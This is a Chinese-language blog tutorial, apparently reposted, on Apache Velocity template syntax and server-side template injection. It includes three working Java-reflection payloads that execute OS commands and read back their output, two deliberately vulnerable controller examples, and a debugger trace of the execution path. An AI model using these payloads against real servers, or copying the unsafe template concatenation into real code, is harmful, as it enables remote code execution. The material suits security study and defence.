Skip to main content

moregeek program

java安全之velocity模版注入_wx630f055ce23fc的博客-多极客编程

Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。它允许web 页面设计者引用JAVA代码预定义的方法

Pom.xml

<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>

相关文档

基本语法

语句标识符

​#​​ 用来标识Velocity的脚本语句,包括 ​​#set​​ 、 ​​#if​​ 、 ​​#else​​ 、 ​​#end​​ 、 ​​#foreach​​ 、 ​​#end​​ 、 ​​#include​​ 、 ​​#parse​​ 、 ​​#macro​​ 等语句。

变量

​$​​ 用来标识一个变量,比如模板文件中为 ​​Hello $a​​ ,可以获取通过上下文传递的 ​​$a​

声明

​set​​ 用于声明Velocity脚本变量,变量可以在脚本中声明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注释

单行注释为 ​​##​​ ,多行注释为成对出现的 ​​#* ............. *#​

逻辑运算
== && || !
条件语句

以 ​​if/else​​ 为例:

#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa
属性

通过 ​​.​​ 操作符使用变量的内容,比如获取并调用 ​​getClass()​

#set($e="e")
$e.getClass()
转义字符

如果 ​​$a​​ 已经被定义,但是又需要原样输出 ​​$a​​ ,可以试用 ​​\​​ 转义作为关键的 ​​$​

{} 标识符

"{}"用来明确标识Velocity变量;

比如在页面中,页面中有一个{someone}name。

!标识符

"!"用来强制把不存在的变量显示为空白。

如当页面中包含msg字符。这是我们不希望的,为了把不存在的变量或变量值为null的对象显示为空白,则只需要在变量名前加一个“!”号即可。

如:$!msg

我们提供了五条基本的模板脚本语句,基本上就能满足所有应用模板的要求。这四条模板语句很简单,可以直接由界面设计人员来添加。在当前很多EasyJWeb的应用实践中,我们看到,所有界面模板中归纳起来只有下面四种简单模板脚本语句即可实现:

1、$!obj 直接返回对象结果。

如:在html标签中显示java对象msg的值。

<p>$!msg

在html标签中显示经过HtmlUtil对象处理过后的msg对象的值

!msg)

2、#if($!obj) #else #end 判断语句

如:在EasyJWeb各种开源应用中,我们经常看到的用于弹出提示信息msg的例子。

  #if($msg)

   <script> alert('$!msg'); </script>

   #end

poc

// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入

抠了段代码

@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
Velocity.eval(ctx, out, "test", templateString);

return out.toString();
}

poc

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

Java安全之Velocity模版注入_java_04

调试分析

首先将我们传入的poc拼接进去后,调用 ​​Velocity.init();​​ ,最终实际调用的是 ​​RuntimeInstance#init​

会进行一系列的初始化操作,其中包括加载 ​​/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties​​ 中的 ​​runtime.log.logsystem.class​​ ,实例化 ​​org.apache.velocity.runtime.resource.ResourceManagerImpl​​ 以及记录一些log

Java安全之Velocity模版注入_模版_05

之后实例化 ​​VelocityContext​​ 并将三个键值对 put了进去,调用 ​​Velocity.eval()​​ 来解析,跟进

发现是通过 ​​RuntimeInstance#eval(231, 243, 237); padding: 0px 3px; border-radius: 4px; overflow-wrap: break-word; text-indent: 0px;">​parse​​ 解析

Java安全之Velocity模版注入_模版_06

继续跟进 ​​parser.parse(reader, templateName);​​ ,首先在 ​​this.velcharstream.ReInit(reader, 1, 1);​​ 将在StringReader中的poc存储到 ​​Parser.velcharstream​​ 属性的 ​​buffer​​ 中

Java安全之Velocity模版注入_apache_07

之后会在process内循环遍历处理vlocity语法之后,大致解析成下面这个样子...

Java安全之Velocity模版注入_模版_08

进入 ​​this.render(context, writer, logTag, nodeTree);​​ 来解析渲染,主要是从AST树中和Context中,在 ​​ASTSetDirective#render​​ 将poc put进了context。这里涉及到几个类 ​​ASTRference​​ ​​ASTMethod​​ ,其中涉及到了ast的处理,感兴趣的师傅可以自己跟下看看

​ASTMethod#execute​​ 中反射调用runtime

Java安全之Velocity模版注入_模版_09

调用栈如下:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
eval(org.apache.velocity.runtime)
eval(org.apache.velocity.runtime)
eval(org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣来的代码,这个可能实际环境遇到盖里高点,主要是可控 ​​vm​​ 模版文件内的内容,在调用 ​​template.merge(ctx, out);​​ 会解析模版并触发模版注入

@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();

template.merge(ctx, out);

return out.toString();

}

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字符串可被我们插入或替换即可造成模版注入,中间调用 ​​runtimeServices.parse​​ 将模版内容解析,交给 ​​template.merge(ctx, out);​​ 渲染。在 ​​template.merge​​ 调用 ​​SimpleNode#render​​ ,后续调用和上面的就一致了。

Java安全之Velocity模版注入_apache_10

主要是注意 ​​vm​​ 模版内容可不可控,并在修改后能被 ​​Velocity.eval()​​ ​​Template.merge(ctx, out);​​ 渲染,即可造成模版注入。

©著作权归作者所有:来自51CTO博客作者小二上酒8的原创作品,请联系作者获取转载授权,否则将追究法律责任

一文了解 java 8 - 18,垃圾回收的十次进化_wx630f055ce23fc的博客-多极客编程

经历了数千次改进,Java的垃圾回收在吞吐量、延迟和内存大小方面有了巨大的进步。2014年3月JDK 8发布,自那以来JDK又连续发布了许多版本,直到今日的JDK 18是Java的第十个版本。借此机会,我们来回顾一下HotSpot JVM的垃圾回收器的发展全过程。关于垃圾回收、度量和取舍HotSpot JVM中负责管理应用程序堆的组件叫做“垃圾回收器”(Garbage Collector,即GC)

java 中悲观锁的底层实现机制_wx630f055ce23fc的博客-多极客编程

介绍 AQSAQS(AbstractQueuedSynchronizer)是 Java 并发包中,实现各种同步组件的基础。比如各种锁:ReentrantLock、ReadWriteLock、StampedLock各种线程同步工具类:CountDownLatch、CyclicBarrier、Semaphore线程池中的 WorkerLock 接口的实现基本都是通过聚合了一个 AQS 的子类来完成线程

java web程序设计基础二(服务器交互篇——四大属性作用域)_wx630f055ce23fc的博客-多极客编程

在介绍JSP各个对象的使用前,先带大家认识一下四大属性作用域吧一、概念JSP中提供了四种 属性的保存范围 ,所谓的属性保存范围,指的就是一个设置的 对象 ,可以在 多少个页面中保存使用二、pageContext作用域1、仅限于单页面有效即使网址不变页面跳转了也不行(1)一般来讲都习惯于将这种范围称为page范围,表示将一个属性设置在本页上,跳转之后无法取得(2)代码例子page_scope_01.

dubbo架构设计及入门案例_博学谷狂野架构师的博客-多极客编程

框架介绍 1.1.1 概述 Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和 Spring框架无缝集成。 Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 1.1.2 运行架构 dubbo运行架构如下图示 节点角色说明

java中容器设计的进化史:从白盒到黑盒,再到跻身为设计模式之一的迭代器_架构悟道的博客-多极客编程

大家好,又见面了。 在我们的项目编码中,不可避免的会用到一些容器类,我们可以直接使用List、Map、Set、Array等类型。当然,为了体现业务层面的含义,我们也会根据实际需要自行封装一些专门的Bean类,并在其中封装集合数据来使用。 看下面的一个场景: 在一个企业级的研发项目事务管理系统里面,包含很多的项目,每个项目下面又包含很多的具体需求,而每个需求下面又会被拆分出若干的具体事项。 上面

消息中间件activemq常见问题解析_浅羽技术的博客-多极客编程

1.什么是 ActiveMQ? activeMQ 是一种开源的,实现了 JMS1.1 规范的,面向消息(MOM)的中间件,为应用程序提供高效的、 可扩展的、稳定的和安全的企业级消息通信 2. ActiveMQ 服务器宕机怎么办? 这得从 ActiveMQ 的储存机制说起。在通常的情况下,非持久化消息是存储在内存中的,持久化消息是存 储在文件中的,它们的最大限制在配置文件的<systemUsa

一文了解 java 8 - 18,垃圾回收的十次进化_wx630f055ce23fc的博客-多极客编程

经历了数千次改进,Java的垃圾回收在吞吐量、延迟和内存大小方面有了巨大的进步。2014年3月JDK 8发布,自那以来JDK又连续发布了许多版本,直到今日的JDK 18是Java的第十个版本。借此机会,我们来回顾一下HotSpot JVM的垃圾回收器的发展全过程。关于垃圾回收、度量和取舍HotSpot JVM中负责管理应用程序堆的组件叫做“垃圾回收器”(Garbage Collector,即GC)

java 中悲观锁的底层实现机制_wx630f055ce23fc的博客-多极客编程

介绍 AQSAQS(AbstractQueuedSynchronizer)是 Java 并发包中,实现各种同步组件的基础。比如各种锁:ReentrantLock、ReadWriteLock、StampedLock各种线程同步工具类:CountDownLatch、CyclicBarrier、Semaphore线程池中的 WorkerLock 接口的实现基本都是通过聚合了一个 AQS 的子类来完成线程

go语言之一等函数_zzxiaoma的博客-多极客编程

可以将函数赋值给变量,可以将函数传递给函数,甚至可以编写创建并返回函数的函数。 func add() int { return 1 + 1}adds := addfmt.Println(adds())调用函数的时候需要用到圆括号,单这次的程序在赋值的时候并没有这样做,这里把add()赋给变量adds,通过adds()来调用函数。adds变量的类型是函数,具体来说就是一个不接收任何形参并且只

dubbo架构设计及入门案例_博学谷狂野架构师的博客-多极客编程

框架介绍 1.1.1 概述 Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和 Spring框架无缝集成。 Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 1.1.2 运行架构 dubbo运行架构如下图示 节点角色说明

qt小结1_五个板栗的博客-多极客编程

1.在设计界面时,只需要在UI设计器里进行可视化设计操作,不需要.ui文件是怎么生成的,会自动生成。2.信号和槽(signal & slot):使QT各个组件之间的交互更加简单和直观。信号函数无需实现,只需要在某些条件下发射信号。3.添加资源文件。资源文件最主要的功能是存储图标和图片文件。在Qt Creator里面单击File ——New File or Project 菜单项,在新建文件

java中容器设计的进化史:从白盒到黑盒,再到跻身为设计模式之一的迭代器_架构悟道的博客-多极客编程

大家好,又见面了。 在我们的项目编码中,不可避免的会用到一些容器类,我们可以直接使用List、Map、Set、Array等类型。当然,为了体现业务层面的含义,我们也会根据实际需要自行封装一些专门的Bean类,并在其中封装集合数据来使用。 看下面的一个场景: 在一个企业级的研发项目事务管理系统里面,包含很多的项目,每个项目下面又包含很多的具体需求,而每个需求下面又会被拆分出若干的具体事项。 上面